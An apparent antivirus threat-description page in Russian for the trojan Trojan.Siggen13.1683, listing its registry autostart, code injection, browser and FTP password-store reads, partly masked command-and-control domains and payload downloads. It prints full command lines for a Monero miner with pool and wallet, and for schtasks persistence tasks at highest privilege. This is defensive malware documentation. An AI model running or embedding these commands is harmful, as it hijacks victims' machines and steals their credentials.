Trojan.Siggen13.1683

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Driver' = '%APPDATA%\Sysfiles\2.exe'

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\firefox default browser agent 682bc3d817ef48ce
%APPDATA%\microsoft\windows\start menu\programs\startup\svchost.exe
%APPDATA%\microsoft\windows\start menu\programs\startup\driver.url

Вредоносные функции

Внедряет код в

следующие системные процессы:

%WINDIR%\syswow64\explorer.exe
%WINDIR%\explorer.exe

следующие пользовательские процессы:

iexplore.exe

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами

[<HKCU>\Software\Martin Prikryl]
[<HKLM>\Software\Wow6432Node\Martin Prikryl]

Читает файлы, отвечающие за хранение паролей сторонними программами

%APPDATA%\mozilla\firefox\profiles.ini
%LOCALAPPDATA%\google\chrome\user data\default\login data
%LOCALAPPDATA%\google\chrome\user data\default\cookies
%APPDATA%\opera software\opera stable\login data
%APPDATA%\thunderbird\profiles.ini
%LOCALAPPDATA%\google\chrome\user data\default\web data
%HOMEPATH%\desktop\applicantform_en.doc
%HOMEPATH%\desktop\cveuropeo.doc
%HOMEPATH%\desktop\fi51.doc
%HOMEPATH%\desktop\file_p_00000000_1371597592.docx

Изменения в файловой системе

Создает следующие файлы

%TEMP%\ae30.tmp
%TEMP%\tmp33e1.tmp
%TEMP%\tmp33f1.tmp
%TEMP%\tmp33f2.tmp
%TEMP%\tmp3412.tmp
%TEMP%\tmp3413.tmp
%TEMP%\tmp3424.tmp
%TEMP%\tmp3425.tmp
%TEMP%\tmp33df.tmp
%TEMP%\tmp33e0.tmp
%TEMP%\tmp3436.tmp
%TEMP%\tmp3448.tmp
%TEMP%\tmp3459.tmp
%TEMP%\tmp345a.tmp
%TEMP%\tmp346a.tmp
%TEMP%\tmp346b.tmp
%TEMP%\tmp347c.tmp
%TEMP%\tmp347d.tmp
%TEMP%\tmp3437.tmp
%TEMP%\tmp3438.tmp
%TEMP%\tmp349e.tmp
%TEMP%\tmp349d.tmp
%TEMP%\tmp33bc.tmp
%TEMP%\tmp2a0d.tmp
%TEMP%\tmp2a0e.tmp
%TEMP%\tmp2a0f.tmp
%TEMP%\tmp2a20.tmp
%TEMP%\tmp2a21.tmp
%TEMP%\tmp2a22.tmp
%TEMP%\tmp33cd.tmp
%TEMP%\tmp29fc.tmp
%TEMP%\tmp33de.tmp
%TEMP%\tmp2a23.tmp
%TEMP%\tmp2a94.tmp
%TEMP%\tmp2aa5.tmp
%TEMP%\tmp2ac5.tmp
%TEMP%\tmp2b23.tmp
%TEMP%\tmp2b44.tmp
%TEMP%\tmp2b64.tmp
%TEMP%\tmp2a33.tmp
%TEMP%\tmp2a63.tmp
%TEMP%\tmp2a74.tmp
%LOCALAPPDATA%low\gc9tt2iq3s\py4ze3fx7h.zip
%TEMP%\tmp349f.tmp
%TEMP%\tmp3593.tmp
%TEMP%\tmp35a4.tmp
%TEMP%\tmp35a5.tmp
%TEMP%\tmp35b6.tmp
%TEMP%\tmp35b7.tmp
%TEMP%\tmp35b8.tmp
%TEMP%\tmp35e8.tmp
%TEMP%\tmp3592.tmp
%TEMP%\tmp35e9.tmp
%TEMP%\tmp35a3.tmp
%TEMP%\tmp3619.tmp
%TEMP%\tmp36b7.tmp
%TEMP%\tmp36d8.tmp
%TEMP%\tmp36f8.tmp
%TEMP%\1.exe
%TEMP%\2.exe
%APPDATA%\sysfiles\driver.exe
%TEMP%\tmp3609.tmp
%TEMP%\tmp3591.tmp
%TEMP%\tmp36a7.tmp
%TEMP%\tmp3590.tmp
%TEMP%\tmp356f.tmp
%TEMP%\tmp34c0.tmp
%TEMP%\tmp34d2.tmp
%TEMP%\tmp34d3.tmp
%TEMP%\tmp34e4.tmp
%TEMP%\tmp34e5.tmp
%TEMP%\tmp34f5.tmp
%TEMP%\tmp34f6.tmp
%TEMP%\tmp34f7.tmp
%TEMP%\tmp3508.tmp
%TEMP%\tmp34d1.tmp
%TEMP%\tmp3509.tmp
%TEMP%\tmp351a.tmp
%TEMP%\tmp351b.tmp
%TEMP%\tmp352c.tmp
%TEMP%\tmp354c.tmp
%TEMP%\tmp355d.tmp
%TEMP%\tmp355e.tmp
%TEMP%\tmp356e.tmp
%TEMP%\tmp29fb.tmp
%TEMP%\tmp350a.tmp
%TEMP%\tmp29fd.tmp
%TEMP%\tmp29ea.tmp
%TEMP%\tmp29e9.tmp
%TEMP%\tmp29e8.tmp
%TEMP%\e24a.tmp
%TEMP%\e27a.tmp
%TEMP%\e27b.tmp
%TEMP%\e2ba.tmp
%TEMP%\e2cb.tmp
%TEMP%\e2eb.tmp
%TEMP%\e0b1.tmp
%TEMP%\e033.tmp
%TEMP%\e239.tmp
%TEMP%\e2fc.tmp
%LOCALAPPDATA%low\1xvpfvjcrg
%LOCALAPPDATA%low\rywtiizs2t
%LOCALAPPDATA%low\rqf69azbla
%LOCALAPPDATA%low\x3cf3ednhm
%LOCALAPPDATA%low\3solbph71y
%LOCALAPPDATA%low\exuieaoeii
%TEMP%\e32b.tmp
%TEMP%\e32b.tmp-shm
%LOCALAPPDATA%low\fraqbc8wsa
%TEMP%\e053.tmp
%TEMP%\dd45.tmp
%LOCALAPPDATA%low\gxix4a2dre
%APPDATA%\gicstdu
%TEMP%\6d72.exe
%TEMP%\71e5.exe
%TEMP%\7b68.exe
%TEMP%\7f11.exe
%TEMP%\8f09.exe
%LOCALAPPDATA%low\sqlite3.dll
%TEMP%\9744.exe
%APPDATA%\wjvguvi
%TEMP%\b003.exe
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
C:\driverdllnet\genq08r1otufgr8n86j.bat
C:\driverdllnet\driverdllnetreviewcommon.exe
C:\driverdllnet\kaoyfgvoyapcr3lfpdehmoka.vbe
%TEMP%\dcf6.tmp
%TEMP%\dcf6.tmp-shm
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%LOCALAPPDATA%low\fraqbc8ws-shm
%TEMP%\tmp34b0.tmp
%LOCALAPPDATA%low\bbsqwy6yhk
%TEMP%\tmp2859.tmp
%TEMP%\tmp298a.tmp
%TEMP%\tmp298b.tmp
%TEMP%\tmp299c.tmp
%TEMP%\tmp299d.tmp
%TEMP%\tmp299e.tmp
%TEMP%\tmp299f.tmp
%TEMP%\tmp2968.tmp
%TEMP%\tmp29af.tmp
%TEMP%\tmp296a.tmp
%TEMP%\tmp29c1.tmp
%TEMP%\tmp29c3.tmp
%TEMP%\tmp29c4.tmp
%TEMP%\tmp29d4.tmp
%TEMP%\tmp29d5.tmp
%TEMP%\tmp29d6.tmp
%TEMP%\tmp29d7.tmp
%TEMP%\tmp29b0.tmp
%TEMP%\e0d2.tmp
%TEMP%\tmp29c2.tmp
%TEMP%\tmp2969.tmp
%TEMP%\tmp2957.tmp
%TEMP%\tmp2956.tmp
%TEMP%\tmp285a.tmp
%TEMP%\tmp287a.tmp
%TEMP%\tmp288b.tmp
%TEMP%\tmp288c.tmp
%TEMP%\tmp289d.tmp
%TEMP%\tmp28dc.tmp
%TEMP%\tmp28dd.tmp
%TEMP%\tmp2858.tmp
%TEMP%\tmp28fd.tmp
%TEMP%\tmp290f.tmp
%TEMP%\tmp2910.tmp
%TEMP%\tmp2920.tmp
%TEMP%\tmp2921.tmp
%TEMP%\tmp2932.tmp
%TEMP%\tmp2933.tmp
%TEMP%\tmp2934.tmp
%TEMP%\tmp2945.tmp
%TEMP%\tmp28fe.tmp
%TEMP%\tmp2946.tmp
%TEMP%\tmp2848.tmp
%LOCALAPPDATA%low\flmmf4ena-shm

Присваивает атрибут 'скрытый' для следующих файлов

%APPDATA%\wjvguvi
%APPDATA%\gicstdu

Удаляет следующие файлы

%TEMP%\dcf6.tmp-shm
%TEMP%\tmp3424.tmp
%TEMP%\tmp3437.tmp
%TEMP%\tmp3436.tmp
%TEMP%\tmp3448.tmp
%TEMP%\tmp3438.tmp
%TEMP%\tmp345a.tmp
%TEMP%\tmp3459.tmp
%TEMP%\tmp346a.tmp
%TEMP%\tmp34c0.tmp
%TEMP%\tmp347d.tmp
%TEMP%\tmp347c.tmp
%TEMP%\tmp349e.tmp
%TEMP%\tmp349d.tmp
%TEMP%\tmp34b0.tmp
%TEMP%\tmp349f.tmp
%TEMP%\tmp34d1.tmp
%TEMP%\tmp3425.tmp
%TEMP%\tmp346b.tmp
%TEMP%\tmp3412.tmp
%TEMP%\tmp2b44.tmp
%TEMP%\tmp2a23.tmp
%TEMP%\tmp2a74.tmp
%TEMP%\tmp2a63.tmp
%TEMP%\tmp2aa5.tmp
%TEMP%\tmp2a94.tmp
%TEMP%\tmp2ac5.tmp
%TEMP%\tmp2b23.tmp
%TEMP%\tmp2b64.tmp
%TEMP%\tmp33f2.tmp
%TEMP%\tmp33bc.tmp
%TEMP%\tmp33cd.tmp
%TEMP%\tmp33de.tmp
%TEMP%\tmp33df.tmp
%TEMP%\tmp33e0.tmp
%TEMP%\tmp33e1.tmp
%TEMP%\tmp33f1.tmp
%TEMP%\tmp3413.tmp
%TEMP%\tmp351a.tmp
%LOCALAPPDATA%low\sqlite3.dll
%TEMP%\tmp34e5.tmp
%TEMP%\tmp35a3.tmp
%TEMP%\tmp35b6.tmp
%TEMP%\tmp35a5.tmp
%TEMP%\tmp35b8.tmp
%TEMP%\tmp35b7.tmp
%TEMP%\tmp35e9.tmp
%TEMP%\tmp35e8.tmp
%TEMP%\tmp3609.tmp
%TEMP%\tmp34d2.tmp
%TEMP%\tmp36a7.tmp
%TEMP%\tmp36b7.tmp
%TEMP%\tmp36d8.tmp
%TEMP%\tmp36f8.tmp
%LOCALAPPDATA%low\gc9tt2iq3s\py4ze3fx7h.zip
%LOCALAPPDATA%low\fraqbc8ws-shm
%LOCALAPPDATA%low\flmmf4ena-shm
%TEMP%\tmp35a4.tmp
%TEMP%\tmp2a33.tmp
%TEMP%\tmp3592.tmp
%TEMP%\tmp351b.tmp
%TEMP%\tmp34e4.tmp
%TEMP%\tmp34f6.tmp
%TEMP%\tmp34f5.tmp
%TEMP%\tmp3508.tmp
%TEMP%\tmp34f7.tmp
%TEMP%\tmp350a.tmp
%TEMP%\tmp3509.tmp
%TEMP%\tmp34d3.tmp
%TEMP%\tmp3590.tmp
%TEMP%\tmp354c.tmp
%TEMP%\tmp352c.tmp
%TEMP%\tmp355e.tmp
%TEMP%\tmp355d.tmp
%TEMP%\tmp356f.tmp
%TEMP%\tmp356e.tmp
%TEMP%\tmp3591.tmp
%TEMP%\tmp3593.tmp
%TEMP%\tmp3619.tmp
%TEMP%\tmp2a21.tmp
%TEMP%\tmp29e9.tmp
%LOCALAPPDATA%low\x3cf3ednhm
%LOCALAPPDATA%low\3solbph71y
%LOCALAPPDATA%low\exuieaoeii
%LOCALAPPDATA%low\gxix4a2dre
%LOCALAPPDATA%low\bbsqwy6yhk
%TEMP%\tmp2848.tmp
%TEMP%\tmp2858.tmp
%TEMP%\tmp285a.tmp
%TEMP%\tmp28fd.tmp
%TEMP%\tmp287a.tmp
%TEMP%\tmp288b.tmp
%TEMP%\tmp288c.tmp
%TEMP%\tmp289d.tmp
%TEMP%\tmp28dd.tmp
%TEMP%\tmp28dc.tmp
%TEMP%\tmp28fe.tmp
%LOCALAPPDATA%low\rqf69azbla
%TEMP%\tmp2859.tmp
%LOCALAPPDATA%low\rywtiizs2t
%TEMP%\e24a.tmp
%TEMP%\dcf6.tmp
%TEMP%\dd45.tmp
%TEMP%\e033.tmp
%TEMP%\e053.tmp
%TEMP%\e0b1.tmp
%TEMP%\e0d2.tmp
%TEMP%\e239.tmp
%TEMP%\e27a.tmp
%LOCALAPPDATA%low\fraqbc8wsa
%TEMP%\e27b.tmp
%TEMP%\e2ba.tmp
%TEMP%\e2cb.tmp
%TEMP%\e2eb.tmp
%TEMP%\e2fc.tmp
%TEMP%\e32b.tmp-shm
%TEMP%\e32b.tmp
%LOCALAPPDATA%low\1xvpfvjcrg
%TEMP%\tmp2957.tmp
%TEMP%\tmp2a0f.tmp
%TEMP%\tmp2921.tmp
%TEMP%\tmp29c1.tmp
%TEMP%\tmp29c4.tmp
%TEMP%\tmp29c3.tmp
%TEMP%\tmp29d5.tmp
%TEMP%\tmp29d4.tmp
%TEMP%\tmp29d7.tmp
%TEMP%\tmp29d6.tmp
%TEMP%\tmp29e8.tmp
%TEMP%\tmp290f.tmp
%TEMP%\tmp29fb.tmp
%TEMP%\tmp29ea.tmp
%TEMP%\tmp29fd.tmp
%TEMP%\tmp29fc.tmp
%TEMP%\tmp2a0e.tmp
%TEMP%\tmp2a0d.tmp
%TEMP%\tmp2a20.tmp
%TEMP%\tmp29c2.tmp
%TEMP%\tmp2a22.tmp
%TEMP%\tmp29af.tmp
%TEMP%\tmp2968.tmp
%TEMP%\tmp2920.tmp
%TEMP%\tmp2933.tmp
%TEMP%\tmp2932.tmp
%TEMP%\tmp2945.tmp
%TEMP%\tmp2934.tmp
%TEMP%\tmp2956.tmp
%TEMP%\tmp2946.tmp
%TEMP%\tmp2910.tmp
%TEMP%\tmp299e.tmp
%TEMP%\tmp296a.tmp
%TEMP%\tmp2969.tmp
%TEMP%\tmp298b.tmp
%TEMP%\tmp298a.tmp
%TEMP%\tmp299d.tmp
%TEMP%\tmp299c.tmp
%TEMP%\tmp299f.tmp
%TEMP%\tmp29b0.tmp
%TEMP%\7f11.exe

Перемещает следующие файлы

%TEMP%\2.exe в %APPDATA%\sysfiles\2.exe

Самоудаляется.

Сетевая активность

Подключается к

'99###########51-service10020125999080321.xyz':80
'tt##tt.me':443
'ta#####futempura.top':443
'13#.#81.170.166':31114
'cy###rsay.xyz':80
'ap#.ip.sb':443
'al###st3r.7m.pl':443

TCP

Запросы HTTP GET

http://99###########51-service10020125999080321.xyz/raccon.exe
http://99###########51-service10020125999080321.xyz/reestr.exe

Запросы HTTP POST

http://99###########51-service10020125999080321.xyz/
http://cy###rsay.xyz/
http://13#.###.170.166:31114/ via 13#.#81.170.166

'tt##tt.me':443

'ta#####futempura.top':443

'ap#.ip.sb':443

'al###st3r.7m.pl':443

UDP

DNS ASK 99###########older1002002131-service1002.space
DNS ASK cy###rsay.xyz
DNS ASK ta#####futempura.top
DNS ASK tt##tt.me
DNS ASK 99###########51-service10020125999080321.xyz
DNS ASK 99############1-service10020125999080321.website
DNS ASK 99###########71-service100201dom25999080321.ru
DNS ASK 99###########t1341-service10020125999080321.ru
DNS ASK 99############2671-service10020125999080321.online
DNS ASK 99############5671-service10020125999080321.tech
DNS ASK 99###########13461-service10020125999080321.net
DNS ASK 99############4781-service10020125999080321.info
DNS ASK ap#.ip.sb
DNS ASK 99###########13561-service10020125999080321.su
DNS ASK 99############3531-service1002012425999080321.ru
DNS ASK 99############34831-service10020125999080321.space
DNS ASK 99############46831-service10020125999080321.space
DNS ASK 99############47831-service10020125999080321.space
DNS ASK 99############36831-service10020125999080321.space
DNS ASK 99############25831-service10020125999080321.space
DNS ASK 99###########older33417-012425999080321.space
DNS ASK 99###########older1002002531-service1002.space
DNS ASK 99###########older1002002431-service1002.space
DNS ASK 99##########folder3100231-service1002.space
DNS ASK 99###########older1002002231-service1002.space
DNS ASK 99###########t3481-service10020125999080321.ru
DNS ASK al###st3r.7m.pl

Другое

Ищет следующие окна

ClassName: 'EDIT' WindowName: ''

Создает и запускает на исполнение

'%TEMP%\6d72.exe'
'%TEMP%\71e5.exe'
'%TEMP%\7b68.exe'
'%TEMP%\7f11.exe'
'%TEMP%\8f09.exe'
'%TEMP%\9744.exe'
'%TEMP%\b003.exe'
'%WINDIR%\syswow64\wscript.exe' "C:\DriverDllNet\KaOyfGvOYApCR3LFPDEHmOkA.vbe"
'C:\driverdllnet\driverdllnetreviewcommon.exe'
'%TEMP%\1.exe'
'%TEMP%\2.exe'
'%APPDATA%\sysfiles\driver.exe' -o gulf.moneroocean.stream:10128 -u 4AtkMz9HEF6QawKvDu1ZyU8covdLT1geJMCpUQRYEofDh6rZxTkcpCoVRrrFrC1BVdH7H9u1szcxsQWDoXyuciuQLmYCWCF -p x -k -v=0 --donate-level=1 -t 1
'%WINDIR%\syswow64\cmd.exe' /c ""C:\DriverDllNet\GeNq08R1OTUfGr8N86j.bat" "' (со скрытым окном)
'%APPDATA%\sysfiles\driver.exe' -o gulf.moneroocean.stream:10128 -u 4AtkMz9HEF6QawKvDu1ZyU8covdLT1geJMCpUQRYEofDh6rZxTkcpCoVRrrFrC1BVdH7H9u1szcxsQWDoXyuciuQLmYCWCF -p x -k -v=0 --donate-level=1 -t 1' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\explorer.exe'
'%WINDIR%\explorer.exe'
'%WINDIR%\syswow64\cmd.exe' /c ""C:\DriverDllNet\GeNq08R1OTUfGr8N86j.bat" "
'<SYSTEM32>\schtasks.exe' /create /tn "Idle" /sc ONLOGON /tr "'C:\PerfLogs\Admin\Idle.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc ONLOGON /tr "'%WINDIR%\SysWOW64\WLanConn\explorer.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "services" /sc ONLOGON /tr "'%WINDIR%\Logs\CBS\services.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "dwm" /sc ONLOGON /tr "'<SYSTEM32>\sxstrace\dwm.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Mozilla Firefox\dictionaries\explorer.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "winlogon" /sc ONLOGON /tr "'%WINDIR%\Fonts\winlogon.exe'" /rl HIGHEST /f
'<SYSTEM32>\schtasks.exe' /create /tn "explorer" /sc ONLOGON /tr "'%WINDIR%\SysWOW64\X3DAudio1_2\explorer.exe'" /rl HIGHEST /f
'%WINDIR%\syswow64\cmd.exe' /C timeout /T 10 /NOBREAK > Nul & Del /f /q "%TEMP%\7F11.exe"
'%WINDIR%\syswow64\timeout.exe' /T 10 /NOBREAK

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней